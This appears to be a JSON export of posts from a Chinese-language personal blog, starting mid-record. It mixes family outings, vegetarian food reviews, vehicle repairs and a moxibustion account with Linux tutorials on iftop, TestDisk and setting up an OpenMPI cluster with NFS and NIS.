跑道看起來很漂亮。\n早上有棒球隊在練習，剛好碰到他們在熱身，阿玄也很好奇湊過去看。\n不過阿玄又很害羞，不敢走太近，跑過去就站在旁邊看。\n因為很早出門，還沒吃早餐，學府路有一家山東饅頭，便宜又大碗，買個高麗菜包與一杯豆漿就可以吃很飽了，剛好買去竹中裡面坐著慢慢吃，又可以陪阿玄玩，很方便！\n阿玄很喜歡喝豆漿，自己拿著一杯豆漿喝！\n因為天氣不錯，阿玄跑來跑去一會兒就滿身汗了，我們幫他把背心脫掉，阿玄拿著自己的衣服跑步，很像運動員！\n阿玄坐在紅色的跑道上，拍起來很漂亮！\n豆漿喝玩的空杯子，阿玄也可以玩很久。\n阿玄玄推自己的推車！\n教室中間的綠地，花草樹木都有在修剪，維護的很好。\n圖書館前面的樓梯現在有鋪木板，比起以前漂亮很多，我記的以前是只有水泥的階梯，上面還有些青苔，若是下雨天很容易滑倒，現在作成這樣實在是好很多！\n阿玄很喜歡爬樓梯。\n好久沒有回竹中了，現在竹中的景觀維護的很好，如果是住附近，平常很適合帶小朋友去玩。\n","permalink":"https://blog.gtwang.org/life/hchs-2012/","summary":"\u003cp\u003e今天剛好有事要去公司一趟，就順便帶阿玄回母校竹中玩，剛好天氣很不錯，多雲時晴的天氣，不會太熱，也沒什麼風，阿玄流汗也比較不用怕著涼。\u003c/p\u003e\n\u003cp\u003e早上我先到園區的公司，再繞寶山路到竹中大門旁邊停車，學府路的路邊停車位週六日是不收費的，所以通常週六日都會停滿滿的，今天還好我們去的早，到的時候還沒八點，車位還很多，不過我停好車之後，不到五分鐘，旁邊的車位也都被停滿了，看來下次來要早一些，不然很容易找不到車位！\u003c/p\u003e","title":"阿玄在竹中"},{"content":"最近帶小朋友去新竹交大博愛校區玩，發現新竹市學府路的一家山東饅頭有賣素食包子，去買了之後嚇了一跳，他們的包子超大一顆，素食高麗菜包一個 17 元，正常人吃一個應該就差不多飽了。\n我真的沒看過包子做那麼大顆的，而且那麼便宜，新竹市這種地方有這樣的店讓我很訝異，以往我看過這樣便宜又大碗的只有在南部找得到，沒想到新竹市也有，可能是因為八大學區的關係，賣學生可以薄利多銷，不然我很難理解包子賣那麼便宜，生意怎麼做。\n除了高麗菜包，還有香菇菜脯包，也是一樣大顆，建議大家可以去吃吃看，真的很划算！\n這家山東饅頭在學府路上，位置大約就在交大博愛校區的後門對面。\n店名：山東饅頭學府店\n地址：300新竹市東區學府路86號（地圖）\n","permalink":"https://blog.gtwang.org/life/hsinchu-xuefurd-shandong-bread/","summary":"\u003cp\u003e最近帶小朋友去新竹交大博愛校區玩，發現新竹市學府路的一家山東饅頭有賣素食包子，去買了之後嚇了一跳，他們的包子超大一顆，素食高麗菜包一個 17 元，正常人吃一個應該就差不多飽了。\u003c/p\u003e","title":"新竹學府路山東饅頭的素食包子"},{"content":"這是新竹市學府路的一家素食店，有飯類與麵類，例如紅燒飯、紅燒麵、咖喱飯、咖喱麵、羹飯、羹麵等，另外也有燙青菜與滷味，因為口味很不錯，加上價格很便宜，平常生意都很好，吃飯時間若是沒有早點去，通常就沒位子坐了。\n這家店的位置在新竹市學府路 68 號，建議大家有興趣可以去吃吃看，不過記得早點去，不然人真的很多。\n","permalink":"https://blog.gtwang.org/life/hsinchu-xuefurd68-vegetarian-restaurant/","summary":"\u003cp\u003e這是新竹市學府路的一家素食店，有飯類與麵類，例如紅燒飯、紅燒麵、咖喱飯、咖喱麵、羹飯、羹麵等，另外也有燙青菜與滷味，因為口味很不錯，加上價格很便宜，平常生意都很好，吃飯時間若是沒有早點去，通常就沒位子坐了。\u003c/p\u003e","title":"[食記] 新竹市學府路 68 號素食"},{"content":"iconmonstr 這個網站提供了很多黑白的圖示，然只使用黑白兩種顏色，但是卻充滿了時尚的設計創意，使用者可以自由下載這個網站裡所提供的任何圖示，並使用到自己開發的軟體或網頁上。\n這個網站的設計跟他所提供的圖示一樣簡單，網站首頁就可以看到所有的圖示清單。\n使用者點選自己喜愛的圖示後，就可以直接下載，\niconmonstr 提供兩種圖示格式給使用者下載，分別為 PNG 與 SVG，下載的網頁也明確著名 License Agreement，不管個人使用或是商業產品，只要不是直接把這些圖示拿去賣錢，都可以免費使用。\n","permalink":"https://blog.gtwang.org/web-development/iconmonstr/","summary":"\u003cp\u003e\u003ca href=\"https://iconmonstr.com/\"\u003eiconmonstr\u003c/a\u003e 這個網站提供了很多黑白的圖示，然只使用黑白兩種顏色，但是卻充滿了時尚的設計創意，使用者可以自由下載這個網站裡所提供的任何圖示，並使用到自己開發的軟體或網頁上。\u003c/p\u003e","title":"iconmonstr 免費圖示：簡單、時尚、創意的設計"},{"content":"如果您有外接式硬碟或是隨身碟，想要同時在 Mac OS X 與 Windows 系統中使用的話，對於沒有經驗的人而言，在格式化時要如何選擇檔案系統就是一個惱人的問題，這裡介紹一些方式可以幫助您選擇適合的檔案格式。\n因為 Mac OS X 與 Windows 是兩種截然不同的作業系統，而不同的作業系統所支援的檔案系統也不同，這裡介紹四種可以用在外接式硬碟或 USB 隨身碟的檔案系統：\nHFS+ Mac OS X 的原生檔案系統就是使用 HFS+（也稱作 Mac OS 擴充格式），而 Mac 中的時光機（Time Machine）就是只能使用這個檔案系統，對於 Mac 的使用者而言，這個系統是最佳選擇。\n雖然 HFS+ 對於 Mac 而言相容度最好，但是 Windows 並不支援 HFS+，如果想讓 Windows 能夠使用 HFS+ 檔案系統，可以加裝一個軟體 MacDrive，裝了之後在 Windows 中就可以正常讀取與寫入 HFS+ 的 USB 隨身碟或外接式硬碟。\nNTFS NTFS 就是 Windows 中原生的檔案系統，我想大家都不陌生，所以如果將隨身碟或硬碟格式化成 NTFS，在 Windows 中鐵定沒問題，但是 Mac OS X 卻有個大問題，目前 Mac OS X 對於 NTFS 的支援度有限，他只能讀取不能寫入，所以要從 Windows 拷貝資料給 Mac OS X 沒問題，不過要從 Mac OS X 拷貝資料給 Windows 就不行了。\nFAT32 在隨身碟中最常被使用的檔案格式就是 FAT32，他的相容性是最好的，不管任何版本的 Windows 與 Mac OS X 都可以直接使用它，但是因為它是一個比較舊的檔案系統，所以它有些限制，例如在 FAT32 檔案系統中所儲存的單一檔案大小不能超過 4 GB，如果您會需要儲存較大的檔案時，就會比較麻煩了。\n而除了單一檔案的限制之外，檔案系統的分割區大小也有上限，若是在 Windows 上格式化 FAT32 的檔案系統，分割區大小不能超過 32 GB，如果在 Mac OS 10.7 Lion 的系統上格式化，則分割區大小上限為 2TB。\nexFAT exFAT 這個檔案系統是 FAT32 的改良版，他沒有 FAT32 的檔案與分割區大小限制，有就是說要多大就可以有多大，這看起來很完美，不過因為這個檔案系統是比較新的檔案系統，比較舊版的 Windows 與 Mac 並不支援。在 Windows 的部分，Windows XP SP3、Windows Vista SP1 與 Windows 7 有支援，Mac 的話支援的有 10.6.5（Snow Leopard）、 10.7（Lion），如果您的系統的版本在上述這些版本當中，或是更新的版本，那麼 exFAT 就是最好的選擇。\n在 Mac OS X 中格式化隨身碟或硬碟 要在 Mac OS X 中格式化隨身碟或硬碟的話，首先開啟磁碟工具程式，\n然後選擇「清除」那一頁，\n其中可以選擇檔案系統，\n選擇好之後，按下右下方的清除，就可以了。\n這裡是介紹直接格式化硬碟的方法，而如果硬碟或隨身碟容量很大，需要分割成多個分割區，也可以使用磁碟工具程式來處理，作法請參考：使用 Mac OS X 磁碟工具程式分割硬碟與格式化。\n","permalink":"https://blog.gtwang.org/tips/usb-mac-os-x-windows/","summary":"\u003cp\u003e如果您有外接式硬碟或是隨身碟，想要同時在 Mac OS X 與 Windows 系統中使用的話，對於沒有經驗的人而言，在格式化時要如何選擇檔案系統就是一個惱人的問題，這裡介紹一些方式可以幫助您選擇適合的檔案格式。\u003c/p\u003e","title":"格式化 USB 隨身碟或硬碟給 Mac OS X 與 Windows 使用"},{"content":"一般的 Linux 管理者大概中知道 top 這個指令，他可以用來監控系統的狀態，包含 CPU 使用率、記憶體使用率、系統 loading 與各個 process 的狀況，可是卻缺少了網路的使用狀況，像我這種常常在用網路的人，最在意的就是網路速度，有時候網路很慢就很想知道是怎麼回事，但是偏偏 top 中沒有這個功能。\n這裡就介紹一個專門監控網路流量的工具 iftop，顧名思義他就是 interface 版的 top，一般的 Linux distribition 通常預設是沒有安裝這個工具的，使用前要先安裝，若是 Ubuntu Linux 則可利用 apt 來裝：\nsudo apt-get install iftop 其他的 Linux 應該大都有收錄 iftop，像如果是 Red Hat 系列的 Linux 也可以用 rpm 來裝，若是真的沒有的話，就到 iftop 的官方網站下載原始碼來編譯與安裝，因為只是一個小工具，所以編譯與安裝都很簡單，解壓縮之後，就按照一般的程序編譯安裝：\n./configure make sudo make install 準備工作大約就是這樣，安裝完 iftop 就可以來使用了，一般的電腦正常來說只要在終端機（terminal）中直接執行 iftop 就可以使用了：\nsudo iftop 畫面就像這樣：\n如果你的電腦不只有一張網路卡，或是有使用 USB 無線網路卡等，這時候就要使用 -i 參數指定想要監控的網路卡，通常主要的流量都是在對外的那張網路卡上，沒有指定正確的話可能就看不到資料。譬如說要指定第一張無線網路卡：\nsudo iftop -i wlan0 以下是 iftop 常用的參數：\n-h：顯示簡短的使用說明。 -n：不執行 DNS 反解，直接顯示 IP 位址。 -N：直接顯示埠號（port），不轉換為服務名稱。 -P：以 promiscuous 模式執行 iftop。 -i：指定網路卡（interface）。 -B：流量以 Bytes 為單位。 -F：指定要監看的 IPv4 網路區段。 -G：指定要監看的 IPv6 網路區段。 -f：指定 filter code。 執行 iftop 之後，也有許多快速鍵可以使用：\nHost display：\nn：開啓或關閉 DNS 反解。 s：顯示或隱藏來源（source）IP 位址。 d：顯示或隱藏目的（destination）IP 位址。 t：切換輸入輸出的流量顯示模式。 Port display：\nN：啓動或關閉埠號（port）轉換為服務名稱功能。 S：顯示或隱藏來源埠號。 D：顯示或隱藏目的埠號。 p：顯示或隱藏所有埠號。 Sorting：\n1/2/3：選擇排序欄位。 \u0026lt;：以流量來源 hostname 排序。 \u0026gt;：以流量目的 hostname 排序。 o：凍結目前排列狀況。 General：\nP：暫停更新資料，讓使用者慢慢看目前的圖表。 j/k：上下捲動圖表，用於凍結排列的狀況。 h：顯示快速鍵使用說明。 b：顯示或隱藏流量圖。 B：切換流量圖的顯示資料。 T：顯示或隱藏累計流量。 f：編輯 filter code。 l：設定 screen filter。 L：切換 linear 或 log 轉換。 !：執行 shell command。 q：離開 iftop。 參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/iftop-linux-network-traffic-monitor/","summary":"\u003cp\u003e一般的 Linux 管理者大概中知道 \u003ccode\u003etop\u003c/code\u003e 這個指令，他可以用來監控系統的狀態，包含 CPU 使用率、記憶體使用率、系統 loading 與各個 process 的狀況，可是卻缺少了網路的使用狀況，像我這種常常在用網路的人，最在意的就是網路速度，有時候網路很慢就很想知道是怎麼回事，但是偏偏 top 中沒有這個功能。\u003c/p\u003e","title":"iftop：Linux 即時監控網路流量工具"},{"content":"孕婦懷孕時，若是碰到胎位不正的問題，一般西醫都會建議「膝胸臥位」的運動，而在中醫上則有另外一種方式，就是「艾灸療法」，臨床上，有六到八成的孕婦，可以藉此調回胎位，而我老婆當初懷孕時，就是胎位不正，去看中醫，中醫師就建議用這個方式調整胎位，非常快速、方便、且安全，不用做一些很辛苦的運動，最後寶寶也順利的自然生產。\n做法很簡單，首先去買個「艾條」（艾條就是把艾草做成像香煙的樣子），這個拍賣網站上就有得買，這是我之前買過的。\n然後把艾條點燃（就跟點香煙一樣），用點燃的艾條去溫灸小腳趾外側的至陰穴，至陰穴就在小腳趾的指甲外側一點點的地方（差不多就是指甲邊緣延伸的交界處）。\n其實在溫灸的時候，因為艾條很粗，所以抓穴位的時候差一點點也還好，就對準指甲外側就行了，就像這樣\n艾條與至陰穴的距離大約兩三公分，這個距離要自己拿捏，原則上就是腳趾頭要感覺溫熱，但是不要被燙到，可以坐著做，也可以躺著。\n因為溫灸的穴道在腳趾上，通常孕婦大肚子沒辦法自己拿著艾條，要找個人來幫忙，不然若是自己拿會很累。\n就這樣每天左右腳各做一次，每次十五到二十分鐘，我老婆就是這樣處理胎位不正的問題。\n艾條因為很長，一次用不完，所以溫灸完都要把艾條弄熄，隔天再繼續用，如果感覺這樣不方便，也可以使用「艾粒」，他其實就是把艾條切成小段，一次就燒完，不用留燒的黑黑的艾條，很乾淨。\n不過使用艾粒的話，因為他很小一粒，一次就整個燒完，沒有手可以拿的地方，要自己準備類似針的東西，把艾粒插著點燃，大家應該有注意到圖片中的每一顆艾粒都有事先打好洞，那個洞就是方便你插在針頭上用的，我都是拿以前做衣服的那種粗粗的針，有個木頭把手的那種，我也搞不清楚那個叫做什麼，反正插起來可以用我就拿來用了。\n像這種艾粒可能燒不到十分鐘，有時候溫灸的時間不夠，就要再點一個，這是比較麻煩的部分。\n然後燒完之後，要找個耐熱的容器來放燒完的艾粒，因為剛燒完的艾粒還很燙，如果都垃圾桶應該會把垃圾桶燙出洞來吧，像我是拿一個不要用的馬克杯來裝，等涼了再倒進垃圾桶。\n雖然這個方式很好用，也很安全，不過建議如果真的胎位不正的話，還是要先去看醫生，如果對這個方法有興趣，可以先去看中醫，聽從中醫師的建議來做，這樣才比較安全，這裡只是把我的經驗分享給大家，讓大家知道胎位不正其實除了西醫之外，中醫也有很好的方式可以治療，很多人只嘗試過西醫的方式，不知道其實中醫也很這樣快速有效的治療方式。\n","permalink":"https://blog.gtwang.org/life/moxibustion-malposition/","summary":"\u003cp\u003e孕婦懷孕時，若是碰到胎位不正的問題，一般西醫都會建議「膝胸臥位」的運動，而在中醫上則有另外一種方式，就是「艾灸療法」，臨床上，有六到八成的孕婦，可以藉此調回胎位，而我老婆當初懷孕時，就是胎位不正，去看中醫，中醫師就建議用這個方式調整胎位，非常快速、方便、且安全，不用做一些很辛苦的運動，最後寶寶也順利的自然生產。\u003c/p\u003e","title":"中醫艾灸治療胎位不正：快速、安全、免運動"},{"content":"今天同事的飽飽滿月，請大家吃油飯，因為我吃素，所以他特別定素食的油飯給我，真是太棒了～\n這個油是金格的御油飯，感覺還不錯，油飯上面有加一些素肉絲、素活腿與栗子，還有兩顆紅蛋，滿月油飯是一定會有紅蛋的，吃了可以沾喜氣～尤其是想生寶寶的人！不過我才剛做爸爸，所以大概是還好？吧？哈！\n我之前得寶寶滿月油飯是買豐谷的油飯，我看起來素食的油飯好像每家都差不多，速食的料就是這些（不過好像在說廢話，油飯就是這些料阿！），味道的話，不要問我，因為我吃什麼都很好吃，問我是不準的～\n因為臨時也沒有像機，就用手機拍，湊合著看囉，加減參考一下～\n","permalink":"https://blog.gtwang.org/life/king-vegetarian-rice-oil/","summary":"\u003cp\u003e今天同事的飽飽滿月，請大家吃油飯，因為我吃素，所以他特別定素食的油飯給我，真是太棒了～\u003c/p\u003e\n\u003cp\u003e這個油是金格的御油飯，感覺還不錯，油飯上面有加一些素肉絲、素活腿與栗子，還有兩顆紅蛋，滿月油飯是一定會有紅蛋的，吃了可以沾喜氣～尤其是想生寶寶的人！不過我才剛做爸爸，所以大概是還好？吧？哈！\u003c/p\u003e","title":"同事寶寶滿月送的素食金格御油飯"},{"content":"最近赫然發現自己的汽車的兩個前輪輪胎開始龜裂了，輪胎感覺也開始硬化了，看了一看輪胎上的製造日期，是 2008 年年底的，現在已經 2012 年了，用了快四年，也差不多可以換了，但是換個輪胎通常都要兩千多到三千左右，一次換兩個也不少錢，還想說有沒有辦法撐到年底，但是常跑高速公路，萬一爆胎很危險，而且若是爆胎的話，在外地拖吊費與輪胎再加上敲竹槓恐怕更貴，而且超級麻煩，之前就碰過在一般道路刺到釘子爆胎，又碰到禮拜天保養廠都沒開，換個輪胎找保養廠找半天，還是早點換一換，省麻煩。\n一般輪胎四、五年換一次都很正常，有些車子若是常常放在外面日曬雨淋，也有可能三年就要換，若有車庫就盡量放車庫吧。\n新的輪胎換上去一比較之下，還真的差滿多的，之前舊的輪胎胎紋也有點淺了，換了新的輪胎開起來也比較安心。\n這次換輪胎也順便問老闆，輪胎吃胎是怎麼看，老闆說要看輪胎的左右兩側磨損的狀況，若是左右邊不一樣，就是有吃胎的狀況，而兩側跟中間磨損的程度不一樣，則不是吃胎的問題，一般前輪因為有轉向的問題，所以輪胎兩側會磨損得比較快，而後輪則正好相反，輪胎中間會磨損得比較快，這都是正常的。\n","permalink":"https://blog.gtwang.org/life/cracked-automobile-tires/","summary":"\u003cp\u003e最近赫然發現自己的汽車的兩個前輪輪胎開始龜裂了，輪胎感覺也開始硬化了，看了一看輪胎上的製造日期，是 2008 年年底的，現在已經 2012 年了，用了快四年，也差不多可以換了，但是換個輪胎通常都要兩千多到三千左右，一次換兩個也不少錢，還想說有沒有辦法撐到年底，但是常跑高速公路，萬一爆胎很危險，而且若是爆胎的話，在外地拖吊費與輪胎再加上敲竹槓恐怕更貴，而且超級麻煩，之前就碰過在一般道路刺到釘子爆胎，又碰到禮拜天保養廠都沒開，換個輪胎找保養廠找半天，還是早點換一換，省麻煩。\u003c/p\u003e","title":"更換龜裂的汽車輪胎"},{"content":"最近有一次騎車時，加油後突然油門卡住，整台車一直往前衝，簡直嚇死我，還好當時附近都沒什麼車，過了幾秒鐘又恢復正常，後來好像也沒什麼問題，就沒去管它，過了幾天我在發動車子的時候，一加油又卡住，一直加油停不下來，當場傻眼，把電門關掉才停下來。\n搞成這樣，也不敢騎了，馬上牽去車行檢查，老闆說是油門線壞了，換一條五百五，因為不換也不敢騎，也沒考慮什麼價錢了，就直接換了。\n之前沒換過這玩意兒，這次看到才知道換個油線滿麻煩的，因為它很長，從龍頭延伸到引擎，要換這條線還要拆一大堆東西，等了四十分鐘（不過我覺得這樣已經很快了，因為真的很費工），換好之後感覺由門變得好順阿，之前可能油門很緊習慣了，不覺得有問題，現在才知道這樣才是正常的，這樣終於可以安心騎車了。\n油門線出問題真的很危險，建議大家感覺油門緊，或是感覺不是很順，建議給車行檢查一下，若有問題直接換掉，幾百塊而已，這種錢不要省，安全比較重要（被嚇過就知道）。\n","permalink":"https://blog.gtwang.org/life/motorcycle-throttle-cable/","summary":"\u003cp\u003e最近有一次騎車時，加油後突然油門卡住，整台車一直往前衝，簡直嚇死我，還好當時附近都沒什麼車，過了幾秒鐘又恢復正常，後來好像也沒什麼問題，就沒去管它，過了幾天我在發動車子的時候，一加油又卡住，一直加油停不下來，當場傻眼，把電門關掉才停下來。\u003c/p\u003e","title":"更換機車油門線（油線）"},{"content":"有時候我們常常會不小心刪除掉一些還要使用的檔案，若是要救回誤刪的檔案，可以使用 testdisk 這個工具，testdisk 是一個開放原始碼，且適用各種平台的磁碟工具，這裡我使用 Linux 平台來說明其使用方式，其他的平台在使用上也是大同小異。\nStep 1\n首先安裝 testdisk，若是 Ubuntu 或 Debian 的話，用 apt 安裝會比較快：\napt-get install testdisk 安裝完成後，以 root 權限執行：\nsudo testdisk 如果是其他的 Linux distribution，也可以直接去 testdisk 的網站上下載，下載下來的壓縮檔先解壓縮：\ntar jxvf testdisk-6.14-WIP.linux26-x86_64.tar.bz2 這個工具是不需要安裝的，解壓縮之後，就可以直接使用了：\ncd testdisk-6.14-WIP sudo ./testdisk_static Step 2\n建立一個 log 檔，這個部份就直接按 Enter：\nStep 3\n選擇磁碟，就看之前被刪除的檔案在哪一個分割區，這裡我用一個 JetFlash Transcend 32GB 隨身碟作示範，選擇（上下鍵）好磁碟之後，就選擇（左右鍵）下方的 Proceed 繼續：\nStep 4\n選擇磁碟的分割表格式，這個部份 testdisk 會自動偵測，只要直接按 Enter 就可以了：\nStep 5\n選擇要使用的功能，testdisk 提供了很多功能，這裡選擇第二項 [ Advanced ] Filesystem Utils：\nStep 6\n選擇分割區（上下鍵），然後選擇下方的 Undelete（左右鍵）：\nStep 7\n接下來就要開始回覆誤刪的檔案了，紅色的部份就是之前被刪除的檔案，選擇要回覆的檔案，然後按 c 鍵複製：\nStep 8\n選擇檔案回覆後要放置的位置，這個位置不能跟之前誤刪的檔案在同一個分割區，選擇好了之後，按下 C 開始回覆：\nStep 9\n檔案回覆完成後，就會回到原來的資料夾，上方會顯示 Copy done，這樣就表示完成了，如果還要繼續回覆其他的檔案，就一樣選擇檔案後，按 c 鍵，不過之後 testdisk 就會直接自動將檔案複製到剛剛所選擇的位置，不會在詢問回覆檔案放置的位置了。\nStep 10\n完成之後，就按 q 鍵離開（多按幾下就能跳出 testdisk）。\n","permalink":"https://blog.gtwang.org/linux/testdisk-linux-recover-deleted-files/","summary":"\u003cp\u003e有時候我們常常會不小心刪除掉一些還要使用的檔案，若是要救回誤刪的檔案，可以使用 testdisk 這個工具，testdisk 是一個開放原始碼，且適用各種平台的磁碟工具，這裡我使用 Linux 平台來說明其使用方式，其他的平台在使用上也是大同小異。\u003c/p\u003e","title":"TestDisk：在 Linux 中救回硬碟裡刪除的檔案"},{"content":"最近想買個裝筆記型電腦的包包，挑了好幾個廠牌的筆電包，最後決定選 STM 的 Scout 2，因為我覺得 STM 大部分的包包都是針對蘋果的 Mac Book Pro 或是 Mac Book Air 所設計的，我想品質應該不會太差，就從 Pchome 買了，一開始還擔心了一下，不知道品質是不是有達到我預期的標準，不過拿到包包之後，感覺真的不錯。\n這款郵差包在 Pchome 賣將近兩千五，送一支小光學滑鼠，我是感覺品不錯，買這種包包我最在意的就是縫線，有些包包縫線容易脫落，這個包包的縫線看起來還不錯，感覺很可靠的樣子。\n接下來就是開箱的圖片，懶得解釋，直接看圖吧，有些圖光線沒調好，有色差，因為最近很忙，沒時間重拍了，將就看吧。\n小袋子裡還有個隱藏式的扣環，不知道是設計來扣什麼的。\n底部的拉鍊，據說這個是放在行李箱的拉桿上時用的，我應該用不到。\n中間鏤空，可以方便提把放出或收納，不錯的設計。\n提把不用時，可以收進去。\n要用提把時，再拿出來。\n背帶的設計也不錯。\n","permalink":"https://blog.gtwang.org/unboxing/stm-scout-2/","summary":"\u003cp\u003e最近想買個裝筆記型電腦的包包，挑了好幾個廠牌的筆電包，最後決定選 STM 的 Scout 2，因為我覺得 STM 大部分的包包都是針對蘋果的 Mac Book Pro 或是 Mac Book Air 所設計的，我想品質應該不會太差，就從 Pchome 買了，一開始還擔心了一下，不知道品質是不是有達到我預期的標準，不過拿到包包之後，感覺真的不錯。\u003c/p\u003e","title":"[開箱] STM Scout 2 郵差包"},{"content":"這裡介紹使用 Ubuntu Linux 12.04 LTS Server 版與 OpenMPI 來架設 MPI Cluster，而測試主機總共有三台，一台作為 master，兩台為 slave，硬體架構圖如下：\nmaster 有兩張網路卡，一張對內，一張對外。\n首先將 master 與兩台 slave 都安裝好 Ubuntu 12.04 LTS Server 版，接著設定網路。\n如果要裝 Ubuntu Desktop 版本也是可以，不過 Desktop 版本會裝一堆用不到的套件，再加上啟動 X Window 又耗資源，因此建議若是您的機器是專門用於計算的，用 Server 版會比較好。\nNAT 首先設定網路，master 的部分，有兩張網路卡，分別為 eth0 與 eth1，我們將 eth0 用於對外的網路連線，而 eth1 則用於內部的網路。\n首先設定 eth1 對內的設定，更改 /etc/network/interfaces 設定檔：\nauto eth1 iface eth1 inet static address 192.168.0.1 netmask 255.255.255.0 network 192.168.0.0 broadcast 192.168.0.255 而 eth0 的部分則自己依照一般的網路設定來設就可以了。\n設定 IP Forward 與 iptables，寫進 /etc/rc.local，讓每次重開機後都會自動執行：\nsysctl net.ipv4.ip_forward=1 iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE 接下來設定 Slave1 的網路設定，更改 /etc/network/interfaces：\nauto eth0 iface eth0 inet static address 192.168.0.2 netmask 255.255.255.0 network 192.168.0.0 broadcast 192.168.0.255 gateway 192.168.0.1 dns-nameservers 168.95.1.1 DNS 這裡設定為 Hinet 的 DNS，若是您有自己慣用的 DNS，也可以設為自己的。\n接著設定 Slave2 的網路設定，更改 /etc/network/interfaces：\nauto eth0 iface eth0 inet static address 192.168.0.3 netmask 255.255.255.0 network 192.168.0.0 broadcast 192.168.0.255 gateway 192.168.0.1 dns-nameservers 168.95.1.1 網路設定好之後，用 apt 將所有的系統更新到最新版本，包含 master 與兩台 slave：\napt-get update apt-get -y dist-upgrade 設定 /etc/hosts 接下來要設定 /etc/hosts，這樣在使用 SSH 登入時，會比較方便，另外也因為這裡的主機名稱（master、slave1 與 slave2）都沒有在正式的 DNS Server 上設定，所以這樣在 SSH 登入時會因為找不到這些主機名稱而卡住，而若是直接寫在 /etc/hosts 中就沒這個問題了。\n在 master 的 /etc/hosts 加入兩行：\n192.168.0.2 slave1 192.168.0.3 slave2 在 slave1 的 /etc/hosts 加入兩行：\n192.168.0.1 master 192.168.0.3 slave2 在 slave2 的 /etc/hosts 加入兩行：\n192.168.0.1 master 192.168.0.2 slave1 NFS master 安裝 NFS Server：\nsudo apt-get install nfs-kernel-server 設定 NFS\nsudo mkdir /export sudo mkdir /export/home sudo mount --bind /home /export/home 設定 /etc/fstab，加入一行：\n/home /export/home none bind 0 0 更改 /etc/default/nfs-kernel-server，將 NEED_SVCGSSD 設為 no：\nNEED_SVCGSSD=no 更改 /etc/default/nfs-common，將 NEED_IDMAPD 設為 yes，NEED_GSSD 設為 no：\nNEED_IDMAPD=yes NEED_GSSD=no 接著設定 /etc/exports\n/export 192.168.0.0/24(rw,fsid=0,no_subtree_check,sync) /export/home 192.168.0.0/24(rw,nohide,insecure,no_subtree_check,sync) 第一行是設定 /export 為根錄目（fsid=0 即是設定為根目錄的意思），另外將 /export/home 開放給 192.168.0.0/24 這個網域的所有機器。\n設定/etc/idmapd.conf 的 Domain\nDomain = your.domain 接著重新啓動 NFS Server 與 idmapd：\nsudo /etc/init.d/nfs-kernel-server restart sudo start idmapd # or... sudo service idmapd restart slave1 與 slave2 安裝 NFS Client：\nsudo apt-get install nfs-common 再設定 /etc/default/nfs-common，將 NEED_IDMAPD 設為 yes：\nNEED_IDMAPD=yes 設定/etc/idmapd.conf 的 Domain\nDomain = your.domain （重新）啟動 idmapd：\nsudo start idmapd # or... sudo service idmapd restart 設定 /etc/fstab，加入一行：\nmaster:/home /home nfs4 _netdev,auto 0 0 NIS master 安裝 nis\napt-get install nis Domain 自行指定，記得要跟兩個 slave 的設定一樣。\n設定 /etc/default/nis\nNISSERVER=master NISCLIENT=false 更新 yp 資料：\n/usr/lib/yp/ypinit -m 重新啓動 yp：\n/etc/init.d/ypserv restart slave1 與 slave2 安裝 nis\napt-get install nis 設定 /etc/yp.conf，加入：\nypserver master 設定 /etc/nsswitch.conf：\npasswd: compat nis group: compat nis shadow: compat nis hosts: files nis dns networks: files protocols: db files nis services: db files nis ethers: db files rpc: db files netgroup: nis 重新啓動 yp：\n/etc/init.d/ypserv restart SSH 設定 SSH 使用 public key 登入：\nssh-keygen -t dsa cd ~/.ssh cat id_dsa.pub \u0026gt;\u0026gt; authorized_keys 測試登入是否不需密碼：\nssh seal@slave1 ssh seal@slave2 OpenMPI 安裝 OpenMPI：\napt-get install libopenmpi-dev openmpi-bin openmpi-doc 建立 MPI_Hello.c 檔：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;mpi.h\u0026gt; int main(int argc, char* argv[]) { int myrank, nprocs; MPI_Init(\u0026amp;argc, \u0026amp;argv); MPI_Comm_size(MPI_COMM_WORLD, \u0026amp;nprocs); MPI_Comm_rank(MPI_COMM_WORLD, \u0026amp;myrank); printf(\u0026#34;Hello from processor %d of %d\\n\u0026#34;, myrank, nprocs); MPI_Finalize(); return 0; } 編譯：\nmpicc MPI_Hello.c -o MPI_Hello 執行：\nmpiexec --host slave1,slave2 -n 4 MPI_Hello 輸出為\nHello from processor 1 of 4 Hello from processor 3 of 4 Hello from processor 0 of 4 Hello from processor 2 of 4 ","permalink":"https://blog.gtwang.org/linux/ubuntu-1204-openmpi-cluster/","summary":"\u003cp\u003e這裡介紹使用 Ubuntu Linux 12.04 LTS Server 版與 OpenMPI 來架設 MPI Cluster，而測試主機總共有三台，一台作為 master，兩台為 slave，硬體架構圖如下：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"ubuntu-1204-openmpi-cluster-1\" loading=\"lazy\" src=\"/linux/ubuntu-1204-openmpi-cluster/ubuntu-1204-openmpi-cluster-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003emaster 有兩張網路卡，一張對內，一張對外。\u003c/p\u003e","title":"使用 Ubuntu Linux 12.04 與 OpenMPI 架設 Cluster"},{"content":"夫君子之行， 靜以修身，儉以養德； 非澹泊無以明志，非寧靜無以致遠。\n夫學須靜也，才須學也； 非學無以廣才，非志無以成學。\n怠慢則不能勵精，險躁則不能冶性。 年與時馳，意與歲去，遂成枯落，多不接世。 悲守窮廬，將復何及！\n諸葛亮，字孔明，琅琊（今山東省沂南縣）人，是中國三國時代著名的政治家及軍事家，也是古代著名的智者。\n諸葛亮擔任宰相，撫恤百姓，揭示法規，精簡官職，權事制宜，誠心待人，公正無私。凡是盡忠職守、有益時事的人，即使是仇人也必定會獎賞；凡是犯干犯法令、懈怠、傲慢的人，即使是親人也必定會處罰。坦誠認罪、傳布真情的人，即使犯了重罪也必定會開釋；說話浮誇、巧辯文過的人，即使只是犯了輕罪也必定會殺戮。無論多麼小的善行、沒有不獎賞的，無論多麼細的惡行、沒有不貶抑的。處理事務非常精明幹練，管理事情著重在它的根本，依照官名來要求他盡到實職，對於虛偽造假的人不予錄用。最後全國的百姓，大家都敬畏他、愛戴他；刑法政令雖然嚴厲，卻沒有人怨恨他，因為他用心公平而且勸戒明白。他真可以稱得上是明白治道的好人才，和管仲、蕭何是同一類的人。\n諸葛亮寫給兒子的一封信，只用了短短八十六字，要言不繁。蘊含真理的文章，不受時空限制，放諸四海皆準，歷久常新。\n夫君子之行，靜以修身，儉以養德 